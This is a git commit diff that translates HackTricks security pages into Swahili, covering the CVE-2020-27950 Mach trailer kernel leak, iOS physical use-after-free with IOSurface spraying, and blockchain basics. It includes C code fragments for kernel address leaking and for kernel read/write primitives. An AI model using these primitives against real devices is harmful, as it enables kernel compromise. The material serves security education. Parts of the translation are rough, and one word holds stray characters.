Translated ['src/binary-exploitation/ios-exploiting/ios-physical-uaf-ios

This commit is contained in:
Translator 2025-09-30 00:11:14 +00:00
parent d939f48b8c
commit 366d589618
7 changed files with 426 additions and 444 deletions

View File

@ -81,6 +81,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -769,7 +770,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -846,7 +847,6 @@
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
@ -895,7 +895,6 @@
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
# ✍️ TODO

View File

@ -5,9 +5,9 @@
## Hitilafu
You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), lakini kwa muhtasari:
Kuna [maelezo mazuri ya vuln hapa](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), lakini kwa muhtasari:
Kila ujumbe wa Mach unaoupokelewa na kernel unamalizika na **"trailer"**: struct ya urefu wa kubadilika yenye metadata (seqno, sender token, audit token, context, access control data, labels...). Kernel **hutoa nafasi kila mara kwa trailer kubwa zaidi inayowezekana** (MAX_TRAILER_SIZE) katika buffer ya ujumbe, lakini **huanzisha tu baadhi ya maeneo**, kisha baadaye **huamua ni ukubwa gani wa trailer kurudishwa** kwa msingi wa **chaguzi za kupokea zinazodhibitiwa na mtumiaji**.
Kila Mach message ambayo kernel inapokea inalizika na **"trailer"**: struct yenye urefu wa kubadilika yenye metadata (seqno, sender token, audit token, context, access control data, labels...). Kernel **daima huhifadhi trailer kubwa zaidi iwezekanavyo** (MAX_TRAILER_SIZE) katika buffer ya message, lakini **huanzisha baadhi tu ya fields**, kisha baadaye **huamua ni ukubwa gani wa trailer kurudishwa** kulingana na **chaguzi za kupokea zinazodhibitiwa na mtumiaji**.
Hizi ndizo structs zinazohusiana na trailer:
```c
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
Kisha, wakati trailer object inapotengenezwa, tu baadhi ya fields zimeanzishwa, na max trailer size daima imetengwa:
Kisha, wakati trailer object inatengenezwa, baadhi tu ya fields zinazoanzishwa, na max trailer size daima inahifadhiwa:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Kisha, kwa mfano, unapojaribu kusoma mach message ukitumia `mach_msg()`, kazi `ipc_kmsg_add_trailer()` inaitwa ili kuongeza trailer kwenye ujumbe. Ndani ya kazi hii, ukubwa wa trailer unahesabiwa na baadhi ya viwanja vingine vya trailer hujazwa:
Kisha, kwa mfano, unapo jaribu kusoma ujumbe wa mach ukitumia `mach_msg()` kazi `ipc_kmsg_add_trailer()` inaitwa ili kuongeza trailer kwenye ujumbe. Ndani ya kazi hii ukubwa wa trailer unahesabiwa na baadhi ya mashamba mengine ya trailer yanajazwa:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
Kigezo cha `option` kinadhibitiwa na mtumiaji, kwa hivyo **inahitajika kupeleka thamani inayopita ukaguzi wa `if`.**
Kigezo `option` kinadhibitiwa na mtumiaji, kwa hivyo **inahitajika kupitisha thamani inayopita ukaguzi wa `if`.**
Ili kupitisha ukaguzi huu tunahitaji kutuma `option` halali inayoungwa mkono:
Ili kupitisha ukaguzi huu tunahitaji kutuma `option` halali inayounga mkono:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
@ -67,9 +67,9 @@ Ili kupitisha ukaguzi huu tunahitaji kutuma `option` halali inayoungwa mkono:
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Lakini, kwa sababu `MACH_RCV_TRAILER_MASK` inachunguza tu bits, tunaweza kupitisha thamani yoyote kati ya `0` na `8` ili kutoingia ndani ya kauli ya `if`.
Lakini, kwa sababu `MACH_RCV_TRAILER_MASK` inachunguza tu bits, tunaweza kupitisha thamani yoyote kati ya `0` na `8` ili kutoingia ndani ya tamko la `if`.
Kisha, ukiendelea na msimbo utaona:
Kisha, ukiendelea na msimbo unaweza kupata:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
@ -92,21 +92,21 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
return trailer->msgh_trailer_size;
```
Hapa unaweza kuona kwamba ikiwa `option` ni kubwa au sawa na `MACH_RCV_TRAILER_AV` (7), uwanja **`msgh_ad`** umeanzishwa kwa `0`.
Hapa unaweza kuona kwamba ikiwa `option` ni kubwa au sawa na `MACH_RCV_TRAILER_AV` (7), uwanja **`msgh_ad`** umewekwa kuwa `0`.
Kama ulivyogundua, **`msgh_ad`** bado ilikuwa uwanja pekee wa trailer ambao haukuanzishwa hapo awali na unaweza kuwa na leak kutoka kwa memory iliyotumika hapo awali.
Ikiwa umeona, **`msgh_ad`** bado ilikuwa uwanja pekee wa trailer ambao haukuwekwa thamani hapo awali na ambao unaweza kuwa na leak kutoka kwa memory iliyotumika awali.
Hivyo, njia ya kuepuka kuianzisha ni kupitisha thamani ya `option` kuwa `5` au `6`, hivyo itaenda kupitia ukaguzi wa kwanza wa `if` na haitajiingia kwenye `if` inayoiweka `msgh_ad` kwa sababu thamani `5` na `6` hazina aina yoyote ya trailer iliyohusishwa.
Hivyo, njia ya kuepuka kuianzisha ni kupitisha thamani ya `option` inayokuwa `5` au `6`, hivyo itapita ukaguzi wa kwanza `if` na haitaingia kwenye `if` inayoweka `msgh_ad` kwa sababu thamani `5` na `6` hazina aina yoyote ya trailer inayohusishwa.
### Basic PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
Ndani ya [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), kuna PoC ya leak data ya nasibu.
### Leak Kernel Address PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), kuna PoC ya ku-leak anwani ya kernel. Kwa hili, ujumbe uliojaa structs za `mach_msg_port_descriptor_t` unatumwa kwa sababu uwanja `name` wa muundo huu katika userland una unsigned int lakini katika kernel uwanja `name` ni pointer kwa struct `ipc_port`. Hivyo, kutuma kumi au zaidi ya structs hizi katika ujumbe wa kernel kutamaanisha **kuongeza anwani kadhaa za kernel ndani ya ujumbe** ili moja yao inaweza ku-leak.
Ndani ya [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), kuna PoC ya leak kernel address. Kwa hili, ujumbe uliojaa structs za `mach_msg_port_descriptor_t` unatumwa kwa sababu uwanja `name` wa muundo huu katika userland una unsigned int lakini ndani ya kernel uwanja `name` ni pointer kwa struct `ipc_port`. Kwa hivyo, kutuma kumi kadhaa za structs hizi katika ujumbe kutamaanisha **kuongeza anwani kadhaa za kernel ndani ya ujumbe** ili moja yao iweze leak.
Maelezo yaliongezwa kwa uelewa bora:
Maelezo yameongezwa kwa uelewa bora:
```c
#include <stdio.h>
#include <stdlib.h>
@ -324,9 +324,9 @@ printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
```
## Marejeo
## Marejeleo
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
- [Chapisho la blogi la Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,22 +3,22 @@
{{#include ../../banners/hacktricks-training.md}}
## iOS Kupunguza Exploits
## iOS Exploit Mitigations
- **Code Signing** katika iOS inafanya kazi kwa kuhitaji kila kipande cha msimbo wa utekelezaji (apps, libraries, extensions, n.k.) kusainiwa kwa kisayansi na cheti kinachotolewa na Apple. Wakati msimbo unapoandikwa, iOS inathibitisha saini ya kidigital dhidi ya root inayotambulika ya Apple. Ikiwa saini si sahihi, haipo, au imerekebishwa, OS inakataza kuutumia. Hii inazuia mashambulizi ya kuingiza msimbo hatarishi ndani ya apps halali au kuendesha binaries zisizosainiwa, kwa ufanisi kuvunja sehemu kubwa za minyororo ya exploit zinazotegemea kuendesha msimbo wa kukamata au uliobadilishwa.
- **CoreTrust** ni subsystem ya iOS inayotekeleza uthibitisho wa code signing wakati wa runtime. Inathibitisha saini moja kwa moja kwa kutumia cheti la root la Apple bila kutegemea cached trust stores, ikimaanisha binaries zilizosasishwa na Apple (au zilizo na entitlements sahihi) ndizo zinaweza kutekeleza. CoreTrust inahakikisha kwamba hata kama mshambuliaji atabadili app baada ya kusakinishwa, kurekebisha system libraries, au kujaribu kupakia msimbo usiosainiwa, mfumo utazuia utekelezaji isipokuwa msimbo bado umehifadhiwa kwa usahihi. Utekelezaji mgumu huu unafunga njia nyingi za post-exploitation ambazo toleo la zamani la iOS liliwaruhusu kupitia ukaguzi dhaifu au unaoweza kupitishwa.
- **Data Execution Prevention (DEP)** inachukua maeneo ya kumbukumbu kuwa yasitekelezeke isipokuwa yakitakiwa kuwa na msimbo. Hii inazuia mashambulizi ya kuingiza shellcode ndani ya sehemu za data (kama stack au heap) na kuirusha, ikiwalazimu kutumia mbinu tata kama ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** inabadilisha kwa nasibu anwani za kumbukumbu za msimbo, libraries, stack, na heap kila wakati mfumo unapoanza. Hii inafanya kuwa vigumu kwa mshambuliaji kutabiri wapi maagizo au gadgets muhimu ziko, ikivunja minyororo mingi ya exploit zinazotegemea mipangilio thabiti ya kumbukumbu.
- **KASLR (Kernel ASLR)** inahusu wazo lile lile la randomness kwa kernel ya iOS. Kwa kupangusa anwani ya msingi ya kernel kila boot, inazuia mashambulizi kupata kwa uhakika kazi au miundo ya kernel, na kuongeza ugumu wa explots za ngazi ya kernel ambazo zingekuwa zinapata udhibiti kamili wa mfumo.
- **Kernel Patch Protection (KPP)** pia inajulikana kama **AMCC (Apple Mobile File Integrity)** katika iOS, inafuatilia mara kwa mara kurasa za msimbo wa kernel kuhakikisha hazijabadilishwa. Ikiwa kutamwidihishwa kutambuliwa—kama exploit inayojaribu kubadilisha kazi za kernel au kuingiza msimbo hatarishi—kifaa kitashangaa mara moja na kurudisha boot. Ulinzi huu unafanya exploits za kernel zenye kudumu kuwa ngumu zaidi, kwani mashambulizi hayawezi tu ku-hook au ku-patch maagizo ya kernel bila kusababisha crash ya mfumo.
- **Kernel Text Readonly Region (KTRR)** ni sifa ya usalama inayotokana na vifaa iliyotangazwa kwenye vifaa vya iOS. Inatumia memory controller ya CPU kuashiria eneo la msimbo (text) la kernel kuwa kwa kusomeka tu baada ya boot. Mara limefungwa, hata kernel yenyewe haiwezi kubadilisha eneo hili la kumbukumbu. Hii inazuia mashambulizi—na hata msimbo ulio na vibali vya juu—kutengeneza patch za maagizo ya kernel wakati wa runtime, ikifunga daraja kubwa la exploits zinazotegemea kubadilisha msimbo wa kernel moja kwa moja.
- **Pointer Authentication Codes (PAC)** hutumia saini za kriptografia zilizowekwa ndani ya bits zisizotumika za pointers kuthibitisha uadilifu wao kabla ya matumizi. Wakati pointer (kama return address au function pointer) inaundwa, CPU ina-isaini kwa funguo ya siri; kabla ya dereference, CPU inakagua saini. Ikiwa pointer imebadilishwa, ukaguzi unashindwa na utekelezaji unasimama. Hii inazuia mshambuliaji kuunda kwa udanganyifu au kutumia pointers zilizoharibika katika memory corruption exploits, ikifanya mbinu kama ROP au JOP ziwe ngumu zaidi kutekelezwa kwa ufanisi.
- **Privilege Access never (PAN)** ni sifa ya vifaa inayozuia kernel (hali ya privilage) kutoka kupata moja kwa moja kumbukumbu ya user-space isipokuwa ikiwa kwa wazi inawasha ufikiaji. Hii inazuia mashambulizi yaliyopata kuendesha msimbo wa kernel kwa urahisi kusoma au kuandika kumbukumbu ya user ili kupandisha hadhi au kuiba data nyeti. Kwa kutekeleza mgawanyiko mkali, PAN inapunguza athari za exploits za kernel na kuzuia mbinu nyingi za kawaida za kuongezeka kwa hadhi.
- **Page Protection Layer (PPL)** ni utaratibu wa usalama wa iOS unaolinda maeneo muhimu yanayosimamiwa na kernel, hasa yale yanayohusiana na code signing na entitlements. Inatekeleza ulinzi mkali wa uandishi kwa kutumia MMU (Memory Management Unit) na ukaguzi wa ziada, ikihakikisha kwamba hata msimbo wa kernel wenye privilage hauwezi kubadilisha kurasa nyeti kiholela. Hii inazuia mashambulizi yaliyopata utekelezaji wa ngazi ya kernel kutengeneza udhibiti wa miundo muhimu ya usalama, na kufanya kudumu na kuruka code-signing kuwa ngumu zaidi.
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apples trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apples root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernels base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernels code pages to ensure they havent been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers cant simply hook or patch kernel instructions without triggering a system crash.
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPUs memory controller to mark the kernels code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
## Physical use-after-free
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
Hii ni muhtasari kutoka kwenye chapisho kutoka [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) pia taarifa zaidi kuhusu exploit inayotumia teknik hii inaweza kupatikana kwenye [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
@ -92,11 +92,11 @@ Since the attacker cant control which specific kernel pages will be allocated
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP]
> Fahamu kwamba vifaa vya iOS 16+ (A12+) vina mitigations za hardware (kama PPL au SPTM) zinazofanya mbinu za physical UAF zisifae vizuri.
> PPL inatekeleza ulinzi mkali wa MMU kwenye kurasa zinazohusiana na code signing, entitlements, na data nyeti za kernel, kwa hivyo, hata kama ukurasa unatumika tena, maandishi kutoka userland au msimbo wa kernel uliotatizwa kwa kurasa za PPL yanazuia.
> Secure Page Table Monitor (SPTM) inaongeza ulinzi kwa PPL kwa kuimarisha masasisho ya page table yenyewe. Inahakikisha kwamba hata msimbo mwenye privilage wa kernel hauwezi kupindisha au kugusa mappings bila kupitia ukaguzi ulio salama.
> KTRR (Kernel Text Read-Only Region), ambayo inalinda sehemu ya msimbo wa kernel kama read-only baada ya boot. Hii inazuia mabadiliko yoyote ya runtime kwa msimbo wa kernel, ikifunga njia kuu ya shambulio ambazo physical UAF exploits mara nyingi hutegemea.
> Zaidi ya hayo, allocations za `IOSurface` ni ngumu zaidi kutabiri na ngumu kuvutia kwa maeneo yanayoweza kupatikana kwa user, ambayo inafanya mbinu ya kuchunguza “magic value” kuwa sio ya kuaminika. Na `IOSurface` sasa inalindwa kwa entitlements na vizuizi vya sandbox.
> Kuwa macho kwamba vifaa vya iOS 16+ (A12+) vinakuja na mitigations za hardware (kama PPL au SPTM) zinazofanya teknik za physical UAF kuwa zisifae.
> PPL inageuza ulinzi mkali wa MMU kwa kurasa zinazohusiana na code signing, entitlements, na data nyeti za kernel, kwa hivyo, hata ikiwa ukurasa unatumika tena, maandishi kutoka userland au kernel iliyopigwa auinaingiliwa kwa PPL-protected pages zinazuiliwa.
> Secure Page Table Monitor (SPTM) inaongeza ulinzi kwa PPL kwa kusisitiza ulinzi wa masasisho ya page table yenyewe. Inahakikisha kwamba hata kernel yenye cheo cha juu haiwezi kupangia upya kurasa zilizotolewa au kuharibu mappings bila kupitia ukaguzi salama.
> KTRR (Kernel Text Read-Only Region), ambayo inafunga sehemu ya code ya kernel kama read-only baada ya boot. Hii inazuia mabadiliko yoyote ya runtime kwa code ya kernel, ikifunga njia kubwa ya shambulio ambayo exploit za physical UAF mara nyingi hutegemea.
> Zaidi ya hayo, `IOSurface` allocations ni chini ya utabiri na ngumu kuzipanga katika eneo linalopatikana na user, ambayo inafanya mbinu ya “magic value scanning” kuwa isiyo thabiti zaidi. Na `IOSurface` sasa inalindwa na entitlements na vizuizi vya sandbox.
### Step-by-Step Heap Spray Process
@ -127,7 +127,7 @@ io_connect_t id = result.surface_id;
}
}
```
Tafuta vitu vya **`IOSurface`** kwenye ukurasa mmoja wa kimwili uliotolewa:
Tafuta vitu vya **`IOSurface`** katika ukurasa wa kimwili mmoja uliotolewa:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
@ -161,24 +161,24 @@ free(surfaceIDs);
return 0;
}
```
### Kupata Kusoma/Kuandika Kernel kwa kutumia IOSurface
### Kupata Kernel Read/Write na IOSurface
Baada ya kupata udhibiti wa kipengee cha IOSurface katika kernel memory (mapped to a freed physical page accessible from userspace), tunaweza kukitumia kwa **operesheni za kusoma na kuandika kernel kwa hiari**.
Baada ya kupata udhibiti wa object ya IOSurface katika memory ya kernel (imepangwa kwenye ukurasa wa kimwili uliotolewa unaopatikana kutoka userspace), tunaweza kuitumia kwa **operesheni za kusoma na kuandika yoyote kwenye kernel**.
**Sehemu Muhimu katika IOSurface**
**Minda Muhimu katika IOSurface**
Kipengee cha IOSurface kina sehemu mbili muhimu:
The IOSurface object has two crucial fields:
1. **Use Count Pointer**: Inaruhusu **kusoma 32-bit**.
2. **Indexed Timestamp Pointer**: Inaruhusu **kuandika 64-bit**.
1. **Use Count Pointer**: Inaruhusu a **32-bit read**.
2. **Indexed Timestamp Pointer**: Inaruhusu a **64-bit write**.
Kwa kuandika upya pointer hizi, tunaziwekea anwani za hiari katika kernel memory, hivyo kuwezesha uwezo wa kusoma/kuandika.
Kwa kuandika upya pointers hizi, tunazirekebisha kuelekea anwani yoyote katika memory ya kernel, na hivyo kuruhusu uwezo wa kusoma/kuandika.
#### Kusoma 32-Bit ya Kernel
#### Kusoma Kernel 32-bit
Ili kufanya kusoma:
1. Andika upya **use count pointer** ili ijelekee kwa anwani lengwa ikiondoa offset ya 0x14-byte.
1. Andika upya **use count pointer** ili iielekeze kwenye anwani lengwa ikipunguzwa kwa offset ya 0x14 byte.
2. Tumia method `get_use_count` kusoma thamani kwenye anwani hiyo.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
@ -197,12 +197,12 @@ iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
#### Uandishi wa Kernel wa 64-Bit
Ili kufanya uandishi:
1. Andika upya **indexed timestamp pointer** kwa anwani inayolengwa.
2. Tumia method `set_indexed_timestamp` kuandika thamani ya 64-bit.
1. Andika tena **indexed timestamp pointer** na uielekeze kwa anwani lengwa.
2. Tumia method ya `set_indexed_timestamp` kuandika thamani ya 64-bit.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
@ -218,11 +218,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
```
#### Muhtasari wa Mtiririko wa Exploit
1. **Trigger Physical Use-After-Free**: Kurasa zilizotolewa zinaweza kutumika tena.
2. **Spray IOSurface Objects**: Tenga IOSurface objects nyingi zenye "magic value" ya kipekee katika kernel memory.
3. **Identify Accessible IOSurface**: Tafuta IOSurface kwenye ukurasa uliotolewa unaodhibiti.
4. **Abuse Use-After-Free**: Badilisha vielekezo katika IOSurface object ili kuwezesha kwa hiari **kernel read/write** kupitia IOSurface methods.
1. **Trigger Physical Use-After-Free**: Kurasa zilizotolewa (free pages) zinapatikana kwa matumizi tena.
2. **Spray IOSurface Objects**: Tenga IOSurface nyingi zilizo na "magic value" ya kipekee katika kumbukizi ya kernel.
3. **Identify Accessible IOSurface**: Tafuta IOSurface kwenye ukurasa uliotolewa (freed page) unaodhibiti.
4. **Abuse Use-After-Free**: Badilisha pointers ndani ya object ya IOSurface ili kuwezesha arbitrary **kernel read/write** kupitia methods za IOSurface.
Kwa primitives hizi, exploit hutoa kusoma za **32-bit** zilidhibitiwa na uandishi za **64-bit** kwa kernel memory. Hatua za ziada za jailbreak zinaweza kuhusisha primitives za kusoma/kuandika zenye utulivu zaidi, ambazo zinaweza kuhitaji kupita ulinzi wa ziada (mf., PPL kwenye vifaa vipya vya arm64e).
Kwa primitives hizi, exploit hutoa controlled **32-bit reads** na **64-bit writes** kwa kumbukizi ya kernel. Hatua zaidi za jailbreak zinaweza kuhusisha primitives za read/write zenye utulivu zaidi, ambazo zinaweza kuhitaji kuzunguka ulinzi wa ziada (e.g., PPL kwenye vifaa vipya vya arm64e).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,174 +1,176 @@
# Blockchain na Sarafu za Kripto
{{#include ../../banners/hacktricks-training.md}}
## Misingi ya Kimsingi
## Dhana za Msingi
- **Smart Contracts** zin定义wa kama programu zinazotekelezwa kwenye blockchain wakati masharti fulani yanatimizwa, zikifanya utekelezaji wa makubaliano bila wahusika wa kati.
- **Decentralized Applications (dApps)** zinajengwa juu ya smart contracts, zikiwa na muonekano wa kirafiki kwa mtumiaji na nyuma ya pazia wazi, inayoweza kukaguliwa.
- **Tokens & Coins** zinatofautisha ambapo coins hutumikia kama pesa za kidijitali, wakati tokens zinawakilisha thamani au umiliki katika muktadha maalum.
- **Utility Tokens** zinatoa ufikiaji wa huduma, na **Security Tokens** zinamaanisha umiliki wa mali.
- **DeFi** inasimama kwa Decentralized Finance, ikitoa huduma za kifedha bila mamlaka za kati.
- **DEX** na **DAOs** zinarejelea Mifumo ya Kubadilishana Isiyo na Kati na Mashirika ya Kujitegemea Yasiyo na Kati, mtawalia.
- **Smart Contracts** zinafafanuliwa kama programu zinazotekelezwa kwenye blockchain wakati masharti fulani yanapotimizwa, zikiautomate utekelezaji wa makubaliano bila wahusika wa kati.
- **Decentralized Applications (dApps)** zinajengwa juu ya Smart Contracts, zikiwa na front-end rafiki kwa mtumiaji na back-end iliyo wazi na inayoweza kukaguliwa.
- **Tokens & Coins** zinatofautishwa kwa kuwa coins hutumika kama pesa za kidigitali, wakati tokens zinaonyesha thamani au umiliki katika muktadha maalum.
- **Utility Tokens** zinatoa ufikiaji wa huduma, na **Security Tokens** zinataja umiliki wa mali.
- **DeFi** inamaanisha Decentralized Finance, ikitoa huduma za kifedha bila mamlaka ya kati.
- **DEX** na **DAOs** zinarejelea Majukwaa ya Kubadilishia Yasiyo ya Kati na Mashirika ya Kujiendesha Yasiyo ya Kati, mtawalia.
## Mekanizimu za Makubaliano
## Consensus Mechanisms
Mekanizimu za makubaliano zinahakikisha uthibitisho salama na wa makubaliano wa muamala kwenye blockchain:
Mekanism za makubaliano zinahakikisha uthibitisho salama na uliokubaliwa wa miamala kwenye blockchain:
- **Proof of Work (PoW)** inategemea nguvu za kompyuta kwa ajili ya uthibitisho wa muamala.
- **Proof of Stake (PoS)** inahitaji waithibitishaji kuwa na kiasi fulani cha tokens, ikipunguza matumizi ya nishati ikilinganishwa na PoW.
- **Proof of Work (PoW)** inategemea nguvu ya kompyuta kwa ajili ya uhakiki wa miamala.
- **Proof of Stake (PoS)** inahitaji validators kumiliki kiasi fulani cha tokens, ikipunguza matumizi ya nishati ukilinganisha na PoW.
## Msingi wa Bitcoin
## Misingi ya Bitcoin
### Muamala
### Transactions
Muamala wa Bitcoin unahusisha kuhamasisha fedha kati ya anwani. Muamala unathibitishwa kupitia saini za kidijitali, kuhakikisha ni mmiliki pekee wa funguo za faragha anayeweza kuanzisha uhamasishaji.
Miamala ya Bitcoin inahusisha uhamisho wa fedha kati ya anwani. Miamala inathibitishwa kupitia sahihi za kidigitali, kuhakikisha kwamba mmiliki pekee wa funguo binafsi anaweza kuanzisha uhamisho.
#### Vipengele Muhimu:
- **Muamala wa Multisignature** unahitaji saini nyingi ili kuidhinisha muamala.
- Muamala unajumuisha **inputs** (chanzo cha fedha), **outputs** (kikundi), **fees** (zilizolipwa kwa wachimbaji), na **scripts** (sheria za muamala).
- **Multisignature Transactions** zinahitaji sahihi nyingi ili kutoa idhini ya muamala.
- Miamala inaangukia katika **inputs** (chanzo cha fedha), **outputs** (mahali pa kwenda), **fees** (zinazolipwa kwa miners), na **scripts** (kanuni za muamala).
### Mtandao wa Mwanga
### Lightning Network
Unalenga kuboresha uwezo wa Bitcoin kwa kuruhusu muamala mwingi ndani ya channel, ukitangaza tu hali ya mwisho kwenye blockchain.
Inalenga kuboresha scalability ya Bitcoin kwa kuruhusu miamala mingi ndani ya channel, ikitangaza tu hali ya mwisho kwenye blockchain.
